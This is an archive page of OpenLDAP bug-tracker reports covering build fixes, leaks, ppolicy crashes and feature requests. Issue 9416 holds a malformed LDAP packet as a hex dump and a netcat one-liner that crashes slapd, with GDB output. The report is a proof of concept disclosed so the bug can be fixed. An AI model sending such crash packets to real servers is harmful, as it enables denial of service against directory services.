openldap-bugs January 2021

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301 discussions

[Issue 9327] New: Stripping when cross-compiling
by openldap-its＠openldap.org 26 Feb '21

26 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9327 Issue ID: 9327 Summary: Stripping when cross-compiling Product: OpenLDAP Version: unspecified Hardware: All OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: fontaine.fabrice(a)gmail.com Target Milestone: --- Created attachment 756 --> https://bugs.openldap.org/attachment.cgi?id=756&action=edit Patch When cross-compiling, stripping fails because strip is used instead of $(STRIP). The attached patch (retrieved from https://git.buildroot.net/buildroot/tree/package/openldap/0001-fix_cross_st…) fix this issue. I've also opened a Merge Request: https://git.openldap.org/openldap/openldap/-/merge_requests/101 -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9283] New: Mutex leak in backend.c`backend_db_init()
by openldap-its＠openldap.org 25 Feb '21

25 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9283 Issue ID: 9283 Summary: Mutex leak in backend.c`backend_db_init() Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: grapvar(a)gmail.com Target Milestone: --- @backend_db_init: if bi_db_init() fails, but [BackendDB *be] is not listed in [slap_be_head backendDB] list of backends, then be->be_pcl_mutex is not destroyed. | BackendDB * | backend_db_init( ... ) | { | ... | ldap_pvt_thread_mutex_init( &be->be_pcl_mutex ); | ... | if ( bi->bi_db_init ) | rc = bi->bi_db_init( be, cr ); | | if ( rc != 0 ) { | if ( !b0 ) { | ... | ldap_pvt_thread_mutex_destroy( &be->be_pcl_mutex ); | ch_free( be ); Additionally, it does not look like that owner of [b0] cares about destroying this mutex. -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9293] New: slapo-ppolicy stores pwdGraceUseTime only with seconds
by openldap-its＠openldap.org 24 Feb '21

24 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9293 Issue ID: 9293 Summary: slapo-ppolicy stores pwdGraceUseTime only with seconds Product: OpenLDAP Version: 2.4.50 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: michael(a)stroeder.com Target Milestone: --- If password is expired slapo-ppolicy can return the number of grace logins for changing own password (graceAuthNsRemaining). slapd derives graceAuthNsRemaining from number of pwdGraceUseTime values. But those timestamps are only stored with a granularity of a second. Thus multiple grace logins are possible within a second without decremeting graceAuthNsRemaining value. This is unexpected and also leads to absurd work-arounds when writing automated tests like this: https://gitlab.com/ae-dir/python-ldap0/-/blob/master/tests/test_ppolicy.py#… Either a real Integer counter should be used or fraction of seconds should be used in pwdGraceUseTime values. This is a similar problem like pwdFailureTime solved in ITS#7161. -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9400] New: Proxy bind retry fails after remote server disconnects
by openldap-its＠openldap.org 22 Feb '21

22 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9400 Issue ID: 9400 Summary: Proxy bind retry fails after remote server disconnects Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: tero.saarni(a)est.tech Target Milestone: --- Problem description ------------------- I'm using slapd-ldap to proxy for a remote LDAP server. LDAP backend is configured to: - allow user binds that are passed directly to the remote LDAP server - allow local user binds that are mapped to remote bind using idassert-bind The problem happens when remote LDAP server abruptly disconnects the (idle) LDAP connection. For example, next search operation will fail with error: Server is unavailable (52) Additional information: misconfigured URI? The operation will succeed when repeating it for second time. Reproducing the problem ----------------------- I created a test case that reproduces the problem - https://git.openldap.org/tsaarni/openldap/-/compare/master...ldap-back-retr… Preliminary troubleshooting --------------------------- While troubleshooting this I observed following: (A) The problem is related to retry after remote server abruptly dropped the LDAP connection. Call chain ldap_back_retry() -> ldap_back_dobind_int() -> ldap_back_is_proxy_authz() ends up in this branch: if ( !( li->li_idassert_flags & LDAP_BACK_AUTH_OVERRIDE )) { if ( op->o_tag == LDAP_REQ_BIND ) { if ( !BER_BVISEMPTY( &ndn )) { dobind = 0; goto done; } where "dobind = 0" causes "binddn" and "bindcred" return variables NOT to be filled. Then in ldap_back_dobind_int() we fall into this branch: if ( LDAP_BACK_CONN_ISIDASSERT( lc ) ) { if ( BER_BVISEMPTY( &binddn ) && BER_BVISEMPTY( &bindcred ) ) { /* if we got here, it shouldn't return result */ rc = ldap_back_is_proxy_authz( op, rs, LDAP_BACK_DONTSEND, &binddn, &bindcred ); if ( rc != 1 ) { Debug( LDAP_DEBUG_ANY, "Error: ldap_back_is_proxy_authz " "returned %d, misconfigured URI?\n", rc ); rs->sr_err = LDAP_OTHER; rs->sr_text = "misconfigured URI?"; LDAP_BACK_CONN_ISBOUND_CLEAR( lc ); if ( sendok & LDAP_BACK_SENDERR ) { send_ldap_result( op, rs ); } goto done; } } (B) The problem does NOT occur if configuring separate instances of back-ldap: - one backend for users: BIND is done with users own credentials - no idassert - second backend for local admin: local admin BIND is overwritten with idassert-bind Possibly the same problem have been discussed also earlier, for example - https://www.openldap.org/lists/openldap-technical/201307/msg00070.html - https://www.openldap.com/lists/openldap-bugs/201511/msg00041.html - https://www.openldap.org/lists/openldap-bugs/201905/msg00001.html -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9332] New: Compilation of 2.4.52 fails: "init.c", line 45: too many initializers for scalar
by openldap-its＠openldap.org 22 Feb '21

22 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9332 Issue ID: 9332 Summary: Compilation of 2.4.52 fails: "init.c", line 45: too many initializers for scalar Product: OpenLDAP Version: 2.4.52 Hardware: All OS: Solaris Status: UNCONFIRMED Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: stacey.marshall(a)gmail.com Target Milestone: --- The addition of integer ldo_tls_require_san to structure requires an additional initialization digit to macro LDAP_LDO_TLS_NULLARG. --- openldap-2.4.52/libraries/libldap/ldap-int.h 2020-08-28 09:10:00.000000000 -0700 +++ openldap-2.4.52.x/libraries/libldap/ldap-int.h 2020-09-01 10:08:44.661226154 -0700 @@ -263,7 +263,7 @@ int ldo_tls_impl; int ldo_tls_crlcheck; int ldo_tls_require_san; -#define LDAP_LDO_TLS_NULLARG ,0,0,0,{0,0,0,0,0,0,0,0,0},0,0,0,0 +#define LDAP_LDO_TLS_NULLARG ,0,0,0,{0,0,0,0,0,0,0,0,0},0,0,0,0,0 #else #define LDAP_LDO_TLS_NULLARG #endif -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9426] New: Paged results return duplicates
by openldap-its＠openldap.org 08 Feb '21

08 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9426 Issue ID: 9426 Summary: Paged results return duplicates Product: OpenLDAP Version: 2.4.56 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- When performing a query that matches 744 entries, the number of returned entries varies depending on the page size requested. For a page size of 300, it returns 767 entries For a page size of 500, it returns 759 entries Running the results for sort -u correctly shows 744 unique entries. So anywhere from 15 to 23 duplicates are returned in the above case. -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9442] New: slapo-constraint negated regex
by openldap-its＠openldap.org 08 Feb '21

08 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9442 Issue ID: 9442 Summary: slapo-constraint negated regex Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: david(a)barchie.si Target Milestone: --- slapo-constraint doesn't conveniently allow setting a constraint with a negated regex. Taking grep as an example (i.e. --invert-match), I propose adding a constraint type that allows using a regex in a negated way. When a match is found a constraint error is raised. The configuration entry would look like the following: > constraint_attribute mail negregex ^.*(a)somedomain\.com$ This feature request was started on the openldap-devel mailing list, https://lists.openldap.org/hyperkitty/list/openldap-devel@openldap.org/thre… -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9440] New: null ptr dereference in error message for invalid generic control value
by openldap-its＠openldap.org 08 Feb '21

08 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9440 Issue ID: 9440 Summary: null ptr dereference in error message for invalid generic control value Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: client tools Assignee: bugs(a)openldap.org Reporter: grapvar(a)gmail.com Target Milestone: --- Created attachment 787 --> https://bugs.openldap.org/attachment.cgi?id=787&action=edit fix > $ ldapmodify -e 1.2.3.4=xxx > Unable to parse value of general control (null) Trailing `(null)' is not what expected. Fix attached. After fix: > Unable to parse value `xxx' of general control `1.2.3.4' -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9416] New: Malformed componentfiltermatch packets cause crashes
by openldap-its＠openldap.org 08 Feb '21

08 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9416 Issue ID: 9416 Summary: Malformed componentfiltermatch packets cause crashes Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- Another packet for componentFilterMatch that crashes. Not done any research as to why. Packet: 00000000: 3082 017f 0201 0d63 8200 39df 920a 008c 0......c..9..... 00000010: 00e7 00d0 0070 0096 00a0 81f7 7145 770c .....p......qEw. 00000020: de51 85c4 fe31 d1a8 be3e 3e14 0b8c 3ba8 .Q...1...>>...;. 00000030: 00ed 533b 779f ebdd e358 7649 f274 cfd5 ..S;w....XvI.t.. 00000040: a311 04de 6bf0 c937 0624 6e8c 70a9 ac92 ....k..7.$n.p... 00000050: f7b9 ecad 03c3 be19 2f8f 2daa d44b 93b6 ......../.-..K.. 00000060: 0d9b b9e7 2d54 df37 dfe5 ebd2 456b 55c5 ....-T.7....EkU. 00000070: 9df2 4a9c 7f29 257f ff04 deb3 6739 3965 ..J..)%.....g99e 00000080: c00b 1280 1644 f3c0 81b5 20e9 226a 9210 .....D.... ."j.. 00000090: 19aa a900 8114 636f 6d70 6f6e 656e 7446 ......componentF 000000a0: 696c 7465 724d 6174 6368 8320 6e6f 743a ilterMatch. not: 000000b0: 007f 5004 deb3 6739 3965 c00b 1280 1644 ..P...g99e.....D 000000c0: f3c0 81b5 20e9 226a 9210 19aa a900 8114 .... ."j........ 000000d0: 636f 6d70 6f6e 656e 7446 696c 7465 724d componentFilterM 000000e0: 6174 6368 8320 6e6f 7420 007f 5004 deb3 atch. not ..P... 000000f0: 6739 3965 c00b 1280 1644 f3c0 81b5 20e9 g99e.....D.... . 00000100: 226a 9210 19aa a900 8114 636f 6d70 6f6e "j........compon 00000110: 656e 7446 696c 7465 724d 6174 6368 835c entFilterMatch.\ 00000120: 2020 5c20 205c 2020 5c20 2044 5c20 205c \ \ \ D\ \ 00000130: 2020 5c20 205c 2020 5c20 205c 2020 5c20 \ \ \ \ \ 00000140: 205c 2020 5c20 205c 2020 5c5c 2020 5c20 \ \ \ \\ \ 00000150: 205c 2020 5c20 205c 2020 5c20 205c 203d \ \ \ \ \ = 00000160: 5c20 202e 315c 2020 205c 2020 5c20 205c \ .1\ \ \ \ 00000170: 2020 5c20 205c 2020 5c20 205c 2020 5c2e \ \ \ \ \. 00000180: 362b 7f23 34ff 8900 0005 a333 802b 7f23 6+.#4......3.+.# 00000190: 312e 332e 362e 502e df49 0a22 8980 00ff 1.3.6.P..I.".... 000001a0: ffff 7780 00ff ffff ffff ffb1 0e82 0100 ..w............. 000001b0: 4212 ff B.. GDB output: Starting program: /openldap/servers/slapd/slapd -h ldap://:1389/ -d 256 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 5fc938c6 @(#) $OpenLDAP: slapd 2.X (Dec 3 2020 19:06:47) $ @8d4e8dc0a9bb:/openldap/servers/slapd 5fc938c6 slapd starting [New Thread 0x7fff8b2d3700 (LWP 11)] [New Thread 0x7fff8aad2700 (LWP 12)] 5fc938d5 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:50460 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 13)] 5fc938d5 get_filter: unknown filter type=113 5fc938d5 get_filter: unknown filter type=231 --Type <RET> for more, q to quit, c to continue without paging-- Thread 4 "slapd" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fff8a2d1700 (LWP 13)] 0x00005555555f8309 in parse_comp_filter (op=op@entry=0x7fff80000d50, cav=cav@entry=0x7fff8a2cf790, filt=filt@entry=0x7fff89ad2078, text=text@entry=0x7fff8a2d0aa0) at component.c:1073 1073 tag = strip_cav_tag( cav ); Testing: (Alternative to using docker hub: docker build -t phasip/openldap https://github.com/Phasip/openldap-docker.git#main) # Using privileged here for gdb access docker pull phasip/openldap docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' echo -en '\x30\x82\x01\x7f\x02\x01\x0d\x63\x82\x00\x39\xdf\x92\x0a\x00\x8c\x00\xe7\x00\xd0\x00\x70\x00\x96\x00\xa0\x81\xf7\x71\x45\x77\x0c\xde\x51\x85\xc4\xfe\x31\xd1\xa8\xbe\x3e\x3e\x14\x0b\x8c\x3b\xa8\x00\xed\x53\x3b\x77\x9f\xeb\xdd\xe3\x58\x76\x49\xf2\x74\xcf\xd5\xa3\x11\x04\xde\x6b\xf0\xc9\x37\x06\x24\x6e\x8c\x70\xa9\xac\x92\xf7\xb9\xec\xad\x03\xc3\xbe\x19\x2f\x8f\x2d\xaa\xd4\x4b\x93\xb6\x0d\x9b\xb9\xe7\x2d\x54\xdf\x37\xdf\xe5\xeb\xd2\x45\x6b\x55\xc5\x9d\xf2\x4a\x9c\x7f\x29\x25\x7f\xff\x04\xde\xb3\x67\x39\x39\x65\xc0\x0b\x12\x80\x16\x44\xf3\xc0\x81\xb5\x20\xe9\x22\x6a\x92\x10\x19\xaa\xa9\x00\x81\x14\x63\x6f\x6d\x70\x6f\x6e\x65\x6e\x74\x46\x69\x6c\x74\x65\x72\x4d\x61\x74\x63\x68\x83\x20\x6e\x6f\x74\x3a\x00\x7f\x50\x04\xde\xb3\x67\x39\x39\x65\xc0\x0b\x12\x80\x16\x44\xf3\xc0\x81\xb5\x20\xe9\x22\x6a\x92\x10\x19\xaa\xa9\x00\x81\x14\x63\x6f\x6d\x70\x6f\x6e\x65\x6e\x74\x46\x69\x6c\x74\x65\x72\x4d\x61\x74\x63\x68\x83\x20\x6e\x6f\x74\x20\x00\x7f\x50\x04\xde\xb3\x67\x39\x39\x65\xc0\x0b\x12\x80\x16\x44\xf3\xc0\x81\xb5\x20\xe9\x22\x6a\x92\x10\x19\xaa\xa9\x00\x81\x14\x63\x6f\x6d\x70\x6f\x6e\x65\x6e\x74\x46\x69\x6c\x74\x65\x72\x4d\x61\x74\x63\x68\x83\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x44\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x3d\x5c\x20\x20\x2e\x31\x5c\x20\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x20\x20\x5c\x2e\x36\x2b\x7f\x23\x34\xff\x89\x00\x00\x05\xa3\x33\x80\x2b\x7f\x23\x31\x2e\x33\x2e\x36\x2e\x50\x2e\xdf\x49\x0a\x22\x89\x80\x00\xff\xff\xff\x77\x80\x00\xff\xff\xff\xff\xff\xff\xb1\x0e\x82\x01\x00\x42\x12\xff' | nc localhost 1389 -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9386] New: New draft 10 ppolicy segfaults if default policy entry doesn't exist
by openldap-its＠openldap.org 08 Feb '21

08 Feb '21

https://bugs.openldap.org/show_bug.cgi?id=9386 Issue ID: 9386 Summary: New draft 10 ppolicy segfaults if default policy entry doesn't exist Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- Nov 6 13:25:15 anvil4 slapd[3342]: conn=7945 op=0 SRCH attr=monitorCounter monitorOpInitiated monitorOpCompleted monitoredInfo Nov 6 13:25:15 anvil4 slapd[3342]: conn=7945 op=0 SEARCH RESULT tag=101 err=0 qtime=0.000042 etime=0.004444 nentries=55 text= Nov 6 13:25:15 anvil4 slapd[3342]: conn=7945 fd=17 closed (connection lost) Nov 6 13:25:24 anvil4 slapd[3342]: conn=7944 op=1 MOD dn="cn=people memberOf,ou=bind permissions,dc=xxx,dc=yyy,dc=edu" Nov 6 13:25:24 anvil4 slapd[3342]: conn=7944 op=1 MOD attr=member Nov 6 13:25:24 anvil4 slapd[3342]: ppolicy_get: policy subentry cn=passworddefault,ou=policies,dc=xxx,dc=yyy,dc=edu missing or invalid Nov 6 13:25:24 anvil4 kernel: [353965.330607] show_signal_msg: 5 callbacks suppressed Nov 6 13:25:24 anvil4 kernel: [353965.330633] slapd[3349]: segfault at 30 ip 00007f953e581b49 sp 00007f8dbcf54240 error 6 in ppolicy10-2.4.so.2.11.1[7f953e578000+f000] -- You are receiving this mail because: You are on the CC list for the issue.

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openldap-bugs January 2021